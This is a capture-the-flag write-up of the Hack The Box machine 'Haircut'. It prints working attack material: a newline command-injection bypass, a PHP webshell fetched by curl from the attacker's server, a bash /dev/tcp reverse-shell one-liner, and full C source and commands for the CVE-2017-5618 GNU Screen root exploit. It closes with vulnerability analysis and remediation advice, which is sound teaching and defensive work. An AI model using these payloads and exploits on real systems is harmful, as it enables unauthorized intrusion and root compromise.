Haircut - HTB Medium Machine

OS Linux
Difficulty Medium
User Owns 6.2K
Root Owns 5.2K
Rating 4.8/5
Release 2017/05/26
Creator r00tkie
First Blood User Mike2pointOh
First Blood Root vamitrou
User Rated Difficulty

About

Haircut is a medium-difficulty Linux machine, featuring several useful attack vectors. The challenge begins with web enumeration, where a PHP site invoking curl is discovered. Parameter injection is leveraged to write a webshell to the server, allowing for code execution. Further enumeration of the filters enables command execution directly within the page. For privilege escalation, a vulnerable version of screen with SUID permissions is identified and exploited to achieve root access.

Exploitation

Enumeration

The nmap scan revealed two open TCP ports: 22 for SSH and 80 for HTTP. The SSH service was identified as OpenSSH 7.2p2 on Ubuntu. The HTTP service was running nginx 1.10.0, also on Ubuntu. A subsequent UDP scan suggested several open or filtered ports, but the no-response reason for each made them likely false positives. I decided to focus on the more promising TCP services first and revisit the UDP ports only if necessary.

## TCP scan  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 20:30 -03  
Nmap scan report for 10.10.10.24  
Host is up (0.24s latency).  
  
PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)  
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)  
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)  
80/tcp open  http    nginx 1.10.0 (Ubuntu)  
|_http-title:  HTB Hairdresser    
|_http-server-header: nginx/1.10.0 (Ubuntu)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 20.75 seconds  
  
## UDP scan (--top-ports 1000)  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 20:30 -03  
Warning: 10.10.10.24 giving up on port because retransmission cap hit (6).  
Nmap scan report for 10.10.10.24  
Host is up, received user-set (0.23s latency).  
Not shown: 995 closed udp ports (port-unreach)  
PORT      STATE         SERVICE     REASON      VERSION  
363/udp   open|filtered rsvp_tunnel no-response  
16548/udp open|filtered unknown     no-response  
19161/udp open|filtered unknown     no-response  
25931/udp open|filtered unknown     no-response  
31731/udp open|filtered unknown     no-response  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 1135.94 seconds  
  
## Runtime  
00:21:30

The homepage displays a single page with a woman's photograph, like showcase of haircut styles.

Screenshot

Inspecting the page source confirmed there wasn't much else going on. The content is minimal.

<!DOCTYPE html>
<title> HTB Hairdresser </title>
<center> <br><br><br><br>
<img src="bounce.jpg" height="750" width="1200" alt="" />
<center>

I ran feroxbuster to enumerate directories and files. I included the PHP extension flag since it's commonly used in HTB boxes, and discovered two interesting paths: /uploads and /exposed.php.

└─ $ feroxbuster -u http://10.10.10.24 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --depth 2 --dont-extract-links -C 404 -x php  
                                                                                                                       
___  ___  __   __     __      __         __   ___  
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__  
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___  
by Ben "epi" Risher 🤓                 ver: 2.13.0  
───────────────────────────┬──────────────────────  
🎯  Target Url            │ http://10.10.10.24/  
🚩  In-Scope Url          │ 10.10.10.24  
🚀  Threads               │ 50  
📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  
💢  Status Code Filters   │ [404]  
💥  Timeout (secs)        │ 7  
🦡  User-Agent            │ feroxbuster/2.13.0  
💉  Config File           │ /etc/feroxbuster/ferox-config.toml  
💲  Extensions            │ [php]  
🏁  HTTP methods          │ [GET]  
🔃  Recursion Depth       │ 2  
───────────────────────────┴──────────────────────  
🏁  Press [ENTER] to use the Scan Management Menu™  
──────────────────────────────────────────────────   
200      GET        7l       15w      144c http://10.10.10.24/  
301      GET        7l       13w      194c http://10.10.10.24/uploads => http://10.10.10.24/uploads/  
200      GET       19l       41w      446c http://10.10.10.24/exposed.php

Accessing /uploads returned a 403 Forbidden error, but /exposed.php revealed a form that appeared to allow reading files. Using the URL already present in the form, I was able to read the test.html file successfully.

Screenshot

I attempted directory traversal in Burp Suite using a payload like ../../../../etc/passwd, but received a 404 error and was redirected back to test.html. This behavior suggested there was likely a blacklist filtering malicious inputs.

Screenshot

Next, I tried command injection by appending ; id as a second command, but that also failed. However, the error message I received was interesting: "; is not a good thing to put in a URL".

Screenshot

Foothold

The specific error message about the semicolon indicated there was likely a PHP function filtering disallowed special characters. Since blacklists are rarely comprehensive, I figured there had to be a way to bypass it.

I consulted PayloadsAllTheThings for command injection bypass techniques and found one that looked promising, using a newline character %0A.

Screenshot

Testing the URL-encoded newline character with the id command in Burp Suite gave me successful command injection output.

Screenshot

I attempted to get a reverse shell directly, but bash and sh appeared to be blacklisted as well, based on the error message returned.

Screenshot

The page was likely using curl to fetch and render content. With this in mind, I changed my approach. Instead of trying to spawn a shell directly through /exposed.php, I decided to use curl to upload a PHP file to the target, then use that file as a command execution interface to obtain a reverse shell.

I started by creating a simple PHP payload

echo '<?php system($_REQUEST["cmd"]); ?>' > nika.php

Then I started a local HTTP server to serve the file

└─ $ sudo python3 -m http.server 8001

Next, I used curl via command injection to download the file onto the target box. My URL-encoded payload was

formurl=http%3A%2F%2Flocalhost%2Ftest.html%0Acurl%20http://10.10.16.3:8001/nika.php%20-o%20uploads/nika.php&submit=Go

I received a 200 response on my local server, confirming the file was successfully transferred.

└─ $ sudo python3 -m http.server 8001  
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...  
10.10.10.24 - - [28/Oct/2025 18:35:26] "GET /nika.php HTTP/1.1" 200 -

I verified remote code execution was working by accessing /uploads/nika.php?cmd=id, which successfully executed the command.

Screenshot

I started a netcat listener on my machine

nc -lvnp 9001

Then triggered the reverse shell using a URL-encoded bash command

curl -G http://10.10.10.24/uploads/nika.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.3/9001 0>&1'"

After upgrading to a fully interactive TTY, I had access as the www-data user.

www-data@haircut:~/html/uploads$ whoami  
www-data

USER

With access as www-data, I was able to read the first flag from the home directory of user maria:

www-data@haircut:~/html/uploads$ cat /home/maria/user.txt    
958109ee140b3....

Privilege Escalation

I searched for files with the SUID or SGID bit set. These files execute with the permissions of their owner (often root) rather than the user running them, making them prime targets for privilege escalation.

An interesting binary appeared in the results: /usr/bin/screen-4.5.0

www-data@haircut:~/html/uploads$ find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -ld {} \; 2>/dev/null

...SNIP...
-rwsr-xr-x 1 root root 1588648 May 19  2017 /usr/bin/screen-4.5.0
...SNIP...

I verified the version running on the system:

www-data@haircut:~/html/uploads$ screen --version  
Screen version 4.05.00 (GNU) 10-Dec-16

After researching this version, I found CVE-2017-5618, a local privilege escalation vulnerability in GNU Screen 4.5.0. The exploit-db entry provided a proof of concept demonstrating how to exploit this vulnerability.

The vulnerability exists in how screen handles log files and session management. It allows a local user to create or modify files in privileged locations, which can be leveraged to gain root access. This is tracked as CVE-2017-5618. The exploit abuses the dynamic linker's preload mechanism by creating a malicious /etc/ld.so.preload file through screen's logging functionality.

I attempted to compile the exploit directly on the target machine but encountered an error:

www-data@haircut:/tmp$ bash payload.sh    
~ gnu/screenroot ~  
[+] First, we create our shell and library...  
gcc: error trying to exec 'cc1': execvp: No such file or directory  
gcc: error trying to exec 'cc1': execvp: No such file or directory  
[+] Now we create our /etc/ld.so.preload file...  
[+] Triggering...  
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.  
No Sockets found in /tmp/screens/S-www-data.  
  
/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)

The error gcc: error trying to exec 'cc1': execvp: No such file or directory indicates the target machine has an incomplete GCC installation. The gcc command is just a driver that calls other programs to perform the actual compilation. The cc1 compiler is missing from the system's PATH.

To work around this, I decided to compile the exploit on my attack machine, transfer the compiled files to the target, and execute them manually.

First, I verified that both systems use the same architecture:

Target machine

www-data@haircut:/tmp$ uname -m  
x86_64

My machine

└─ $ uname -m  
x86_64

Next, I created the first component of the exploit. I had to add #include <sys/stat.h> to the code since this header declares the chmod and chown functions.

libhax.c:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

  
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
}

I compiled it as a shared library

└─ $ gcc -fPIC -shared -o libhax.so libhax.c

Then I created the second component, the actual root shell binary

rootshell.c

#include <stdio.h>
#include <unistd.h>
  
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", (char* const*)NULL);
return 0;
}

his required compilation with the -static flag. This is a cross-compilation consideration. My machine runs a modern version of GLIBC, while the target system runs an older version. When compiled dynamically, the binary depended on library functions that don't exist on the target and returned a error. Compiling statically bundles all required library code into the executable itself, making it independent of the target system's libraries.

└─ $ gcc -static -o rootshell rootshell.c

I transferred both compiled files to the target machine using my python server from before

curl http://10.10.16.3:8001/libhax.so -o /tmp/libhax.so
curl http://10.10.16.3:8001/rootshell -o /tmp/rootshell

I set the appropriate permissions on the rootshell binary

chmod +x /tmp/rootshell

Now came the exploitation phase. The first step was to create /etc/ld.so.preload using the vulnerable screen binary. This file tells the dynamic linker which libraries to load before any others. By pointing it to the malicious library, I can execute arbitrary code with elevated privileges.

www-data@haircut:/tmp$ cd /etc
www-data@haircut:/etc$ umask 000
www-data@haircut:/etc$ /usr/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

Breaking down this command:

  • umask 000: Sets the file creation mask to ensure the created file has broad permissions, necessary for the exploit to function properly.
  • screen -D -m -L ld.so.preload ...: Instructs screen to create a log file named ld.so.preload in the current directory (/etc). The echo command outputs a newline followed by /tmp/libhax.so, which gets written into the log file.

Next, I triggered the preload mechanism by running any SUID binary. The exploit uses screen -ls for this purpose, forcing the system to load the malicious library with root privileges:

www-data@haircut:/etc$ screen -ls  
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.  
No Sockets found in /tmp/screens/S-www-data.

When this command executed, the code inside libhax.so ran automatically, changing the ownership and permissions of /tmp/rootshell to make it a SUID root binary.

I then executed the modified rootshell

www-data@haircut:/etc$ /tmp/rootshell
# whoami  
root

ROOT

With root access established, I got the final flag

# cat /root/root.txt  
65c5f6a0ae964...

Vulnerability Analysis

Command Injection via Insufficient Input Validation (CWE-78)

The /exposed.php endpoint implemented a URL-fetching feature that allowed users to supply arbitrary URLs for server-side processing. The application attempted to sanitize user input using a blacklist approach, blocking specific characters like semicolons. However, this implementation failed to account for alternative command injection vectors, particularly newline characters (\n or %0A when URL-encoded). By injecting a newline followed by arbitrary shell commands, I bypassed the filtering mechanism entirely and achieved remote code execution as the www-data user.

The root cause was relying on character blacklisting rather than proper input validation and safe command execution methods. Blacklists are inherently incomplete because attackers can always find alternative encoding or injection techniques. The application likely used a function such as shell_exec() or system() to execute curl commands with user-controlled input concatenated directly into the command string.

Unrestricted File Upload and Execution (CWE-434)

After achieving command injection, I leveraged the system's curl utility to download a malicious PHP file from my attack server and save it to the /uploads directory. The application had no restrictions on what files could be written to this location, nor did it prevent execution of uploaded files. The web server was configured to execute PHP files within the uploads directory, allowing me to transform a simple file write into a persistent remote code execution vector.

This vulnerability chain demonstrates two distinct failures. First, the application allowed writing arbitrary files to a web-accessible directory without validating file types, content, or enforcing proper access controls. Second, the web server configuration permitted script execution in a directory intended for user-supplied content. These two misconfigurations combined to create a critical security weakness.

Local Privilege Escalation via Vulnerable SUID Binary (CVE-2017-5618, CWE-250)

The system had GNU Screen version 4.5.0 installed with the SUID bit set, allowing it to run with root privileges. This specific version contains a privilege escalation vulnerability tracked as CVE-2017-5618. The vulnerability exists in how Screen handles log file creation when invoked with the -L flag. By specifying a log file path pointing to /etc/ld.so.preload and controlling the log file content, I created a malicious preload configuration that the dynamic linker would process when any SUID binary executed.

The exploit worked by creating /etc/ld.so.preload containing the path to a malicious shared library. When the next SUID binary ran, the dynamic linker automatically loaded this library with elevated privileges, executing arbitrary code as root. The library modified the permissions of a waiting shell binary, granting it SUID root permissions and providing a persistent root shell.

This vulnerability represents multiple security failures. The primary issue was running an outdated, vulnerable version of Screen with SUID permissions. Additionally, the system lacked protective mechanisms such as AppArmor or SELinux policies that could have prevented unauthorized modification of critical system files like /etc/ld.so.preload.

Vulnerability Remediation

Preventing Command Injection

Never construct shell commands by concatenating user input directly into command strings. Instead of blacklisting dangerous characters, use parameterized execution methods that treat user input strictly as data, not code. In PHP, replace functions like shell_exec() with safer alternatives such as escapeshellarg() combined with explicit argument arrays, or better yet, use language-native libraries that don't involve shell execution at all.

For URL fetching functionality, implement a whitelist-based approach. Define an explicit list of allowed protocols (http, https) and validate the URL structure using dedicated parsing functions rather than string manipulation. Consider using PHP's filter_var() with FILTER_VALIDATE_URL combined with parsed URL component inspection to ensure the request targets only intended resources. If the feature must support arbitrary URLs, execute the fetching operation in an isolated environment with network segmentation and strict egress filtering.

Remove any functionality that allows users to control command execution paths. If external command execution is absolutely necessary, use subprocess libraries that separate the command from its arguments at the API level. In PHP, this means using proc_open() with explicit argument arrays rather than string-based command construction. Run these processes under heavily restricted user accounts with minimal file system and network access.

Securing File Upload Functionality

Separate user-uploaded content from application code directories entirely. Store uploaded files outside the web root in a dedicated location with restrictive permissions. When users need to access these files, serve them through a controller script that validates requests and streams content with appropriate headers, never allowing direct execution.

Configure the web server to treat the uploads directory as static content only. For nginx, this means removing PHP processing directives from the uploads location block and serving files with application/octet-stream or other non-executable MIME types. For Apache, disable script execution using .htaccess rules or virtual host configuration that explicitly denies handler association.

Implement comprehensive upload validation that goes beyond file extension checking. Verify file contents match declared types using magic byte analysis or dedicated libraries. Enforce strict filename sanitization, removing path traversal sequences and limiting allowed characters. Generate random filenames server-side rather than trusting client-provided names. Apply file size limits and rate limiting to prevent storage exhaustion attacks.

Consider storing uploaded files in object storage services with signed URL access patterns rather than on the web server filesystem. This architectural approach eliminates entire classes of execution vulnerabilities by ensuring uploaded content never resides in locations where the web server might attempt to execute it.

Addressing SUID Binary Vulnerabilities

Remove SUID permissions from any binary that doesn't strictly require them. GNU Screen should never run with SUID privileges in production environments. Use chmod u-s /usr/bin/screen-4.5.0 to strip these permissions. Review all SUID binaries on the system using find / -perm -4000 -type f 2>/dev/null and justify each one's necessity.

Maintain a rigorous patch management process focused on security updates. Subscribe to security mailing lists for installed software and monitor CVE databases for vulnerabilities affecting your specific versions. Establish a testing and deployment pipeline that allows rapid application of security patches, particularly for SUID binaries and other privilege-sensitive components.

Implement mandatory access control systems like AppArmor or SELinux with strict profiles for SUID binaries. These systems can prevent exploitation even when vulnerabilities exist by restricting what elevated processes can access. For example, a properly confined Screen process would be unable to write to /etc regardless of the vulnerability.

Protect critical system files like /etc/ld.so.preload using immutable flags where supported (chattr +i on Linux systems). While not a complete solution, this adds defense in depth by requiring attackers to remove the immutable flag before modification, creating additional detection opportunities. Monitor these files with integrity checking tools that alert on unauthorized modifications.

Consider replacing traditional SUID binaries with capability-based alternatives or privilege separation architectures. Modern systems can often accomplish the same goals using targeted capabilities (CAP_NET_BIND_SERVICE, CAP_DAC_OVERRIDE) or helper services that perform privileged operations on behalf of unprivileged processes, significantly reducing the attack surface.

References

the master 0xdf
exploit-db
PayloadsAllTheThings